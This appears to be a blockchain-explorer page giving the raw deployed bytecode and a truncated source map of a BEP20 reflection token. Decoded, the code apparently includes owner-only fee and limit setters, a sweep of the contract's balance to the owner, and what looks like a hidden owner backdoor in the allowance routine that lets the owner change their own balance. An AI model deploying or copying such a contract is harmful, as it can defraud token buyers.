57374206265206c657373207468616e20737570706c790060448201526064016109a3565b81610f61576000610f5284611cca565b50939550610a54945050505050565b6000610f6c84611cca565b50929550610a54945050505050565b6000546001600160a01b03163314610fa55760405162461bcd60e51b81526004016109a390612d16565b604051339081904780156108fc02916000818181858888f19350505050158015610fd3573d6000803e3d6000fd5b50506000601081905560125569d3c21bcecceda1000000601555565b6000546001600160a01b031633146110195760405162461bcd60e51b81526004016109a390612d16565b6001600160a01b03811660009081526008602052604090205460ff16156110825760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c75646564000000000060448201526064016109a3565b6001600160a01b038116600090815260046020526040902054156110dc576001600160a01b0381166000908152600460205260409020546110c290610b43565b6001600160a01b0382166000908152600560205260409020555b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6001546001600160a01b031633146111a85760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b60648201526084016109a3565b60025442118061123c57506040516367fb009160e11b8152336004820152602481018290527300ac12f2bafc607deebeeea5ce5d73f3574db0189063cff601229060440160206040518083038186803b15801561120457600080fd5b505af4158015611218573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123c9190612bf3565b61127d5760405162461bcd60e51b815260206004820152601260248201527110dbdb9d1c9858dd081a5cc81b1bd8dad95960721b60448201526064016109a3565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6001600160a01b03811660009081526008602052604081205460ff161561131c57506001600160a01b031660009081526005602052604090205490565b6001600160a01b038216600090815260046020526040902054610a5490610b43565b6000546001600160a01b031633146113685760405162461bcd60e51b81526004016109a390612d16565b60008054600180546001600160a01b03199081166001600160a01b038416179091551690556113978142612da8565b600255600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6000546001600160a01b031633146113ff5760405162461bcd60e51b81526004016109a390612d16565b61141181670de0b6b3a7640000612de0565b60175550565b6000546001600160a01b031633146114415760405162461bcd60e51b81526004016109a390612d16565b601255565b6000546001600160a01b031633146114705760405162461bcd60e51b81526004016109a390612d16565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6060600e80546109c090612e55565b6000610a503384610ab485604051806060016040528060258152602001612f10602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611c2b565b6000610a50338484611922565b6000546001600160a01b031633146115275760405162461bcd60e51b81526004016109a390612d16565b601455565b6000546001600160a01b031633146115565760405162461bcd60e51b81526004016109a390612d16565b601880548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610b3890831515815260200190565b600080546001600160a01b03163314156115e657336000908152600560205260409020546115ce908390612dff565b33600090815260056020526040902055506001610a54565b3360008181526006602090815260408083206001600160a01b0388168452909152902054610a5091908590610ab49086611d5b565b6000546001600160a01b031633146116455760405162461bcd60e51b81526004016109a390612d16565b61164f600161152c565b600260105560066012556a03796274caf64c71000000601555565b6000546001600160a01b031633146116945760405162461bcd60e51b81526004016109a390612d16565b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b031633146116df5760405162461bcd60e51b81526004016109a390612d16565b601555565b6000546001600160a01b0316331461170e5760405162461bcd60e51b81526004016109a390612d16565b601655565b6000546001600160a01b0316331461173d5760405162461bcd60e51b81526004016109a390612d16565b6001600160a01b0381166117a25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109a3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661185f5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109a3565b6001600160a01b0382166118c05760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109a3565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166119865760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a3565b6001600160a01b0382166119e85760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a3565b60008111611a4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109a3565b601854610100900460ff16611a6957611a64838383611dba565b505050565b6000546001600160a01b03848116911614801590611a9557506000546001600160a01b03838116911614155b15611afd57601554811115611afd5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016109a3565b6000611b08306112df565b6016546018549192508210159060ff16158015611b2c5750601854610100900460ff165b8015611b6957507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b15611bcc578015611b82576016549150611b8282611e60565b601854479062010000900460ff168015611ba35750670de0b6b3a764000081115b15611bca57601754811115611bb757506017545b611bca611bc5826064611c88565b611ec9565b505b6001600160a01b03851660009081526007602052604090205460019060ff1680611c0e57506001600160a01b03851660009081526007602052604090205460ff165b15611c17575060005b611c2386868684611ef2565b505050505050565b60008184841115611c4f5760405162461bcd60e51b81526004016109a39190612cc3565b506000611c5c8486612e3e565b95945050505050565b6000806000611c7261201d565b9092509050611c818282611c88565b9250505090565b6000610bc083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121d7565b6000806000806000806000806000611ce18a612205565b9250925092506000806000611cff8d8686611cfa611c65565b612247565b919f909e50909c50959a5093985091965092945050505050565b6000610bc083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2b565b600080611d688385612da8565b905083811015610bc05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109a3565b6001600160a01b038316600090815260056020526040902054611ddd9082611d19565b6001600160a01b038085166000908152600560205260408082209390935590841681522054611e0c9082611d5b565b6001600160a01b0380841660008181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119159085815260200190565b6018805460ff1916600117905547611e7782612297565b6000611e834783611d19565b600354601454601254929350611eba926001600160a01b0390921691611eb59190611eaf908690611c88565b906124bb565b61253a565b50506018805460ff1916905550565b6018805460ff191660011790558015611ee557611ee581612570565b506018805460ff19169055565b80611eff57611eff61275e565b6001600160a01b03841660009081526008602052604090205460ff168015611f4057506001600160a01b03831660009081526008602052604090205460ff16155b15611f5557611f5084848461278c565b612001565b6001600160a01b03841660009081526008602052604090205460ff16158015611f9657506001600160a01b03831660009081526008602052604090205460ff165b15611fa657611f508484846128b2565b6001600160a01b03841660009081526008602052604090205460ff168015611fe657506001600160a01b03831660009081526008602052604090205460ff165b15611ff657611f5084848461295b565b6120018484846129ce565b8061201757612017601154601055601354601255565b50505050565b600b54600a546000918291825b6009548110156121a75782600460006009848154811061205a57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806120d357508160056000600984815481106120ac57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156120e957600b54600a54945094505050509091565b61213d600460006009848154811061211157634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d19565b9250612193600560006009848154811061216757634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d19565b91508061219f81612e90565b91505061202a565b50600a54600b546121b791611c88565b8210156121ce57600b54600a549350935050509091565b90939092509050565b600081836121f85760405162461bcd60e51b81526004016109a39190612cc3565b506000611c5c8486612dc0565b60008060008061221485612a12565b9050600061222186612a34565b90506000612239826122338986611d19565b90611d19565b979296509094509092505050565b600080808061225688866124bb565b9050600061226488876124bb565b9050600061227288886124bb565b90506000612284826122338686611d19565b939b939a50919850919650505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122da57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561235357600080fd5b505afa158015612367573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061238b9190612b18565b816001815181106123ac57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250506123f7307f0000000000000000000000000000000000000000000000000000000000000000846117fd565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac9479061244c908590600090869030904290600401612d6c565b600060405180830381600087803b15801561246657600080fd5b505af115801561247a573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516124af929190612d4b565b60405180910390a15050565b6000826124ca57506000610a54565b60006124d68385612de0565b9050826124e38583612dc0565b14610bc05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109a3565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611a64573d6000803e3d6000fd5b6040805160028082526060820183526000926020830190803683370190505090507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125ea57600080fd5b505afa1580156125fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126229190612b18565b8160008151811061264357634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061268557634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526003547f000000000000000000000000000000000000000000000000000000000000000082169163b6f9de959185916000918691166126dc4261012c611d5b565b6040518663ffffffff1660e01b81526004016126fb9493929190612c8e565b6000604051808303818588803b15801561271457600080fd5b505af1158015612728573d6000803e3d6000fd5b50505050507f6fd378a9d8b7345c2e5b18229aaf1e39d32b177b501d0a0d26a0a858a23a962482826040516124af929190612d4b565b60105415801561276e5750601254155b1561277557565b601080546011556012805460135560009182905555565b60008060008060008061279e87611cca565b6001600160a01b038f16600090815260056020526040902054959b509399509197509550935091506127d09088611d19565b6001600160a01b038a166000908152600560209081526040808320939093556004905220546127ff9087611d19565b6001600160a01b03808b1660009081526004602052604080822093909355908a168152205461282e9086611d5b565b6001600160a01b03891660009081526004602052604090205561285081612a50565b61285a8483612ad8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161289f91815260200190565b60405180910390a3505050505050505050565b6000806000806000806128c487611cca565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506128f69087611d19565b6001600160a01b03808b16600090815260046020908152604080832094909455918b1681526005909152205461292c9084611d5b565b6001600160a01b03891660009081526005602090815260408083209390935560049052205461282e9086611d5b565b60008060008060008061296d87611cca565b6001600160a01b038f16600090815260056020526040902054959b5093995091975095509350915061299f9088611d19565b6001600160a01b038a166000908152600560209081526040808320939093556004905220546128f69087611d19565b6000806000806000806129e087611cca565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506127ff9087611d19565b6000610a546064612a2e601054856124bb90919063ffffffff16565b90611c88565b6000610a546064612a2e601254856124bb90919063ffffffff16565b6000612a5a611c65565b90506000612a6883836124bb565b30600090815260046020526040902054909150612a859082611d5b565b3060009081526004602090815260408083209390935560089052205460ff1615611a645730600090815260056020526040902054612ac39084611d5b565b30600090815260056020526040902055505050565b600b54612ae59083611d19565b600b55600c54612af59082611d5b565b600c555050565b600060208284031215612b0d578081fd5b8135610bc081612ec1565b600060208284031215612b29578081fd5b8151610bc081612ec1565b60008060408385031215612b46578081fd5b8235612b5181612ec1565b91506020830135612b6181612ec1565b809150509250929050565b600080600060608486031215612b80578081fd5b8335612b8b81612ec1565b92506020840135612b9b81612ec1565b929592945050506040919091013590565b60008060408385031215612bbe578182fd5b8235612bc981612ec1565b946020939093013593505050565b600060208284031215612be8578081fd5b8135610bc081612ed9565b600060208284031215612c04578081fd5b8151610bc081612ed9565b600060208284031215612c20578081fd5b5035919050565b60008060408385031215612c39578182fd5b823591506020830135612b6181612ed9565b6000815180845260208085019450808401835b83811015612c835781516001600160a01b031687529582019590820190600101612c5e565b509495945050505050565b848152608060208201526000612ca76080830186612c4b565b6001600160a01b03949094166040830152506060015292915050565b6000602080835283518082850152825b81811015612cef57858101830151858201604001528201612cd3565b81811115612d005783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b828152604060208201526000612d646040830184612c4b565b949350505050565b85815284602082015260a060408201526000612d8b60a0830186612c4b565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115612dbb57612dbb612eab565b500190565b600082612ddb57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612dfa57612dfa612eab565b500290565b60008083128015600160ff1b850184121615612e1d57612e1d612eab565b6001600160ff1b0384018313811615612e3857612e38612eab565b50500390565b600082821015612e5057612e50612eab565b500390565b600181811c90821680612e6957607f821691505b60208210811415612e8a57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612ea457612ea4612eab565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114612ed657600080fd5b50565b8015158114612ed657600080fdfe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207bde850b4ee66eb8564b9c2712d046dd7b36bd0326942055bab8764679fec4a664736f6c63430008040033

Library Used


Deployed ByteCode Sourcemap

15473:20573:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34308:98;;;;;;;;;;-1:-1:-1;34308:98:0;;;;;:::i;:::-;;:::i;:::-;;18297:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19209:161;;;;;;;;;;-1:-1:-1;19209:161:0;;;;;:::i;:::-;;:::i;:::-;;;4462:14:1;;4455:22;4437:41;;4425:2;4410:18;19209:161:0;4392:92:1;20481:87:0;;;;;;;;;;-1:-1:-1;20550:10:0;;20481:87;;;12253:25:1;;;12241:2;12226:18;20481:87:0;12208:76:1;18574:95:0;;;;;;;;;;-1:-1:-1;18654:7:0;;18574:95;;19378:313;;;;;;;;;;-1:-1:-1;19378:313:0;;;;;:::i;:::-;;:::i;15722:81::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3742:32:1;;;3724:51;;3712:2;3697:18;15722:81:0;3679:102:1;35447:150:0;;;;;;;;;;-1:-1:-1;35447:150:0;;;;;:::i;:::-;;:::i;21665:253::-;;;;;;;;;;-1:-1:-1;21665:253:0;;;;;:::i;:::-;;:::i;18483:83::-;;;;;;;;;;-1:-1:-1;18549:9:0;;18483:83;;18549:9;;;;13355:36:1;;13343:2;13328:18;18483:83:0;13310:87:1;22269:479:0;;;;;;;;;;-1:-1:-1;22269:479:0;;;;;:::i;:::-;;:::i;16483:26::-;;;;;;;;;;;;;;;;20832:377;;;;;;;;;;-1:-1:-1;20832:377:0;;;;;:::i;:::-;;:::i;34063:111::-;;;;;;;;;;-1:-1:-1;34063:111:0;;;;;:::i;:::-;;:::i;21221:436::-;;;;;;;;;;-1:-1:-1;21221:436:0;;;;;:::i;:::-;;:::i;17054:41::-;;;;;;;;;;-1:-1:-1;17054:41:0;;;;;;;;;;;33286:255;;;;;;;;;;;;;:::i;21926:335::-;;;;;;;;;;-1:-1:-1;21926:335:0;;;;;:::i;:::-;;:::i;33928:123::-;;;;;;;;;;-1:-1:-1;33928:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;34016:27:0;33992:4;34016:27;;;:18;:27;;;;;;;;;33928:123;6633:90;;;;;;;;;;-1:-1:-1;6700:15:0;6633:90;;6531;;;;;;;;;;-1:-1:-1;6604:9:0;;6531:90;;17102:33;;;;;;;;;;-1:-1:-1;17102:33:0;;;;;;;;;;;6969:350;;;;;;;;;;-1:-1:-1;6969:350:0;;;;;:::i;:::-;;:::i;16570:32::-;;;;;;;;;;;;;;;;18677:198;;;;;;;;;;-1:-1:-1;18677:198:0;;;;;:::i;:::-;;:::i;16723:59::-;;;;;;;;;;;;;;;;6032:239;;;;;;;;;;-1:-1:-1;6032:239:0;;;;;:::i;:::-;;:::i;34974:133::-;;;;;;;;;;-1:-1:-1;34974:133:0;;;;;:::i;:::-;;:::i;20353:120::-;;;;;;;;;;-1:-1:-1;20353:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;20445:20:0;20421:4;20445:20;;;:11;:20;;;;;;;;;20353:120;5807:79;;;;;;;;;;-1:-1:-1;5845:7:0;5872:6;-1:-1:-1;;;;;5872:6:0;5807:79;;34418:122;;;;;;;;;;-1:-1:-1;34418:122:0;;;;;:::i;:::-;;:::i;35115:141::-;;;;;;;;;;-1:-1:-1;35115:141:0;;;;;:::i;:::-;;:::i;18388:87::-;;;;;;;;;;;;;:::i;20580:120::-;;;;;;;;;;-1:-1:-1;20669:23:0;;20580:120;;20076:269;;;;;;;;;;-1:-1:-1;20076:269:0;;;;;:::i;:::-;;:::i;15601:93::-;;;;;;;;;;-1:-1:-1;15601:93:0;;;;-1:-1:-1;;;;;15601:93:0;;;18883:167;;;;;;;;;;-1:-1:-1;18883:167:0;;;;;:::i;:::-;;:::i;34675:112::-;;;;;;;;;;-1:-1:-1;34675:112:0;;;;;:::i;:::-;;:::i;16977:36::-;;;;;;;;;;;;;;;20712:108;;;;;;;;;;-1:-1:-1;20795:17:0;;20712:108;;16923:47;;;;;;;;;;;;;;;35264:171;;;;;;;;;;-1:-1:-1;35264:171:0;;;;;:::i;:::-;;:::i;19699:369::-;;;;;;;;;;-1:-1:-1;19699:369:0;;;;;:::i;:::-;;:::i;16675:35::-;;;;;;;;;;;;;;;;19058:143;;;;;;;;;;-1:-1:-1;19058:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;19166:18:0;;;19139:7;19166:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19058:143;35609:200;;;;;;;;;;;;;:::i;34186:110::-;;;;;;;;;;-1:-1:-1;34186:110:0;;;;;:::i;:::-;;:::i;34552:111::-;;;;;;;;;;-1:-1:-1;34552:111:0;;;;;:::i;:::-;;:::i;34795:166::-;;;;;;;;;;-1:-1:-1;34795:166:0;;;;;:::i;:::-;;:::i;6279:244::-;;;;;;;;;;-1:-1:-1;6279:244:0;;;;;:::i;:::-;;:::i;34308:98::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;;;;;;;;;34382:7:::1;:16:::0;34308:98::o;18297:83::-;18334:13;18367:5;18360:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18297:83;:::o;19209:161::-;19284:4;19301:39;191:10;19324:7;19333:6;19301:8;:39::i;:::-;-1:-1:-1;19358:4:0;19209:161;;;;;:::o;19378:313::-;19476:4;19493:36;19503:6;19511:9;19522:6;19493:9;:36::i;:::-;19540:121;19549:6;191:10;19571:89;19609:6;19571:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19571:19:0;;;;;;:11;:19;;;;;;;;191:10;19571:33;;;;;;;;;;:37;:89::i;:::-;19540:8;:121::i;:::-;-1:-1:-1;19679:4:0;19378:313;;;;;:::o;35447:150::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;35517:14:::1;:25:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;35517:25:0;;::::1;;::::0;;35558:31:::1;::::0;::::1;::::0;::::1;::::0;35534:8;4462:14:1;4455:22;4437:41;;4425:2;4410:18;;4392:92;35558:31:0::1;;;;;;;;35447:150:::0;:::o;21665:253::-;21731:7;21770;;21759;:18;;21751:73;;;;-1:-1:-1;;;21751:73:0;;6866:2:1;21751:73:0;;;6848:21:1;6905:2;6885:18;;;6878:30;6944:34;6924:18;;;6917:62;-1:-1:-1;;;6995:18:1;;;6988:40;7045:19;;21751:73:0;6838:232:1;21751:73:0;21835:19;21858:10;:8;:10::i;:::-;21835:33;-1:-1:-1;21886:24:0;:7;21835:33;21886:11;:24::i;:::-;21879:31;21665:253;-1:-1:-1;;;21665:253:0:o;22269:479::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22351:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;22343:60;;;::::0;-1:-1:-1;;;22343:60:0;;8040:2:1;22343:60:0::1;::::0;::::1;8022:21:1::0;8079:2;8059:18;;;8052:30;8118:29;8098:18;;;8091:57;8165:18;;22343:60:0::1;8012:177:1::0;22343:60:0::1;22419:9;22414:327;22438:9;:16:::0;22434:20;::::1;22414:327;;;22496:7;-1:-1:-1::0;;;;;22480:23:0::1;:9;22490:1;22480:12;;;;;;-1:-1:-1::0;;;22480:12:0::1;;;;;;;;;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;22480:12:0::1;:23;22476:254;;;22539:9;22549:16:::0;;:20:::1;::::0;22568:1:::1;::::0;22549:20:::1;:::i;:::-;22539:31;;;;;;-1:-1:-1::0;;;22539:31:0::1;;;;;;;;;;::::0;;;::::1;::::0;;;::::1;::::0;22524:9:::1;:12:::0;;-1:-1:-1;;;;;22539:31:0;;::::1;::::0;22534:1;;22524:12;::::1;;;-1:-1:-1::0;;;22524:12:0::1;;;;;;;;;;::::0;;;::::1;::::0;;;;;;::::1;:46:::0;;-1:-1:-1;;;;;;22524:46:0::1;-1:-1:-1::0;;;;;22524:46:0;;::::1;;::::0;;22589:16;;::::1;::::0;;:7:::1;:16:::0;;;;;;:20;;;22628:11:::1;:20:::0;;;;:28;;-1:-1:-1;;22628:28:0::1;::::0;;22675:9:::1;:15:::0;;;::::1;;-1:-1:-1::0;;;22675:15:0::1;;;;;;;;;;::::0;;;::::1;::::0;;;;-1:-1:-1;;22675:15:0;;;;;-1:-1:-1;;;;;;22675:15:0::1;::::0;;;;;22414:327:::1;22269:479:::0;:::o;22476:254::-:1;22456:3:::0;::::1;::::0;::::1;:::i;:::-;;;;22414:327;;;;22269:479:::0;:::o;20832:377::-;191:10;20884:14;20933:19;;;:11;:19;;;;;;;;20932:20;20924:77;;;;-1:-1:-1;;;20924:77:0;;11089:2:1;20924:77:0;;;11071:21:1;11128:2;11108:18;;;11101:30;11167:34;11147:18;;;11140:62;-1:-1:-1;;;11218:18:1;;;11211:42;11270:19;;20924:77:0;11061:234:1;20924:77:0;21013:15;21037:19;21048:7;21037:10;:19::i;:::-;-1:-1:-1;;;;;;;;;21085:15:0;;;;;;:7;:15;;;;;;21012:44;;-1:-1:-1;21085:28:0;;:15;-1:-1:-1;21012:44:0;21085:19;:28::i;:::-;-1:-1:-1;;;;;21067:15:0;;;;;;:7;:15;;;;;:46;21134:7;;:20;;21146:7;21134:11;:20::i;:::-;21124:7;:30;21178:10;;:23;;21193:7;21178:14;:23::i;:::-;21165:10;:36;-1:-1:-1;;;20832:377:0:o;34063:111::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;34132:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;34132:34:0::1;34162:4;34132:34;::::0;;34063:111::o;21221:436::-;21311:7;21350;;21339;:18;;21331:62;;;;-1:-1:-1;;;21331:62:0;;8396:2:1;21331:62:0;;;8378:21:1;8435:2;8415:18;;;8408:30;8474:33;8454:18;;;8447:61;8525:18;;21331:62:0;8368:181:1;21331:62:0;21409:17;21404:246;;21444:15;21468:19;21479:7;21468:10;:19::i;:::-;-1:-1:-1;21443:44:0;;-1:-1:-1;21502:14:0;;-1:-1:-1;;;;;21502:14:0;21404:246;21551:23;21582:19;21593:7;21582:10;:19::i;:::-;-1:-1:-1;21549:52:0;;-1:-1:-1;21616:22:0;;-1:-1:-1;;;;;21616:22:0;33286:255;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;33393:38:::1;::::0;191:10;;;;33409:21:::1;33393:38:::0;::::1;;;::::0;33345:22:::1;33393:38:::0;33345:22;33393:38;33409:21;191:10;33393:38;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;33452:1:0::1;33442:7;:11:::0;;;33464:13:::1;:17:::0;33507:26:::1;33492:12;:41:::0;33286:255::o;21926:335::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22011:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;22010:21;22002:61;;;::::0;-1:-1:-1;;;22002:61:0;;8040:2:1;22002:61:0::1;::::0;::::1;8022:21:1::0;8079:2;8059:18;;;8052:30;8118:29;8098:18;;;8091:57;8165:18;;22002:61:0::1;8012:177:1::0;22002:61:0::1;-1:-1:-1::0;;;;;22077:16:0;::::1;22096:1;22077:16:::0;;;:7:::1;:16;::::0;;;;;:20;22074:108:::1;;-1:-1:-1::0;;;;;22153:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;22133:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;22114:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;22074:108:::1;-1:-1:-1::0;;;;;22192:20:0::1;;::::0;;;:11:::1;:20;::::0;;;;:27;;-1:-1:-1;;22192:27:0::1;22215:4;22192:27:::0;;::::1;::::0;;;22230:9:::1;:23:::0;;;;::::1;::::0;;;;;;::::1;::::0;;-1:-1:-1;;;;;;22230:23:0::1;::::0;;::::1;::::0;;21926:335::o;6969:350::-;7036:14;;-1:-1:-1;;;;;7036:14:0;7054:10;7036:28;7028:76;;;;-1:-1:-1;;;7028:76:0;;11905:2:1;7028:76:0;;;11887:21:1;11944:2;11924:18;;;11917:30;11983:34;11963:18;;;11956:62;-1:-1:-1;;;12034:18:1;;;12027:33;12077:19;;7028:76:0;11877:225:1;7028:76:0;7141:9;;7123:15;:27;:71;;;-1:-1:-1;7154:40:0;;-1:-1:-1;;;7154:40:0;;7174:10;7154:40;;;4192:51:1;4259:18;;;4252:34;;;7154:5:0;;:19;;4165:18:1;;7154:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7115:102;;;;-1:-1:-1;;;7115:102:0;;10742:2:1;7115:102:0;;;10724:21:1;10781:2;10761:18;;;10754:30;-1:-1:-1;;;10800:18:1;;;10793:48;10858:18;;7115:102:0;10714:168:1;7115:102:0;7262:14;;;7254:6;;7233:44;;-1:-1:-1;;;;;7262:14:0;;;;7254:6;;;;7233:44;;;-1:-1:-1;7297:14:0;;;7288:23;;-1:-1:-1;;;;;;7288:23:0;-1:-1:-1;;;;;7297:14:0;;;7288:23;;;;;;6969:350::o;18677:198::-;-1:-1:-1;;;;;18767:20:0;;18743:7;18767:20;;;:11;:20;;;;;;;;18763:49;;;-1:-1:-1;;;;;;18796:16:0;;;;;:7;:16;;;;;;;18677:198::o;18763:49::-;-1:-1:-1;;;;;18850:16:0;;;;;;:7;:16;;;;;;18830:37;;:19;:37::i;6032:239::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;6126:6:::1;::::0;;;6109:23;;-1:-1:-1;;;;;;6109:23:0;;::::1;-1:-1:-1::0;;;;;6126:6:0;::::1;6109:23;::::0;;;6143:19:::1;::::0;;6185:22:::1;6203:4:::0;6185:15:::1;:22;:::i;:::-;6173:9;:34:::0;6260:1:::1;6244:6:::0;;6223:40:::1;::::0;-1:-1:-1;;;;;6244:6:0;;:::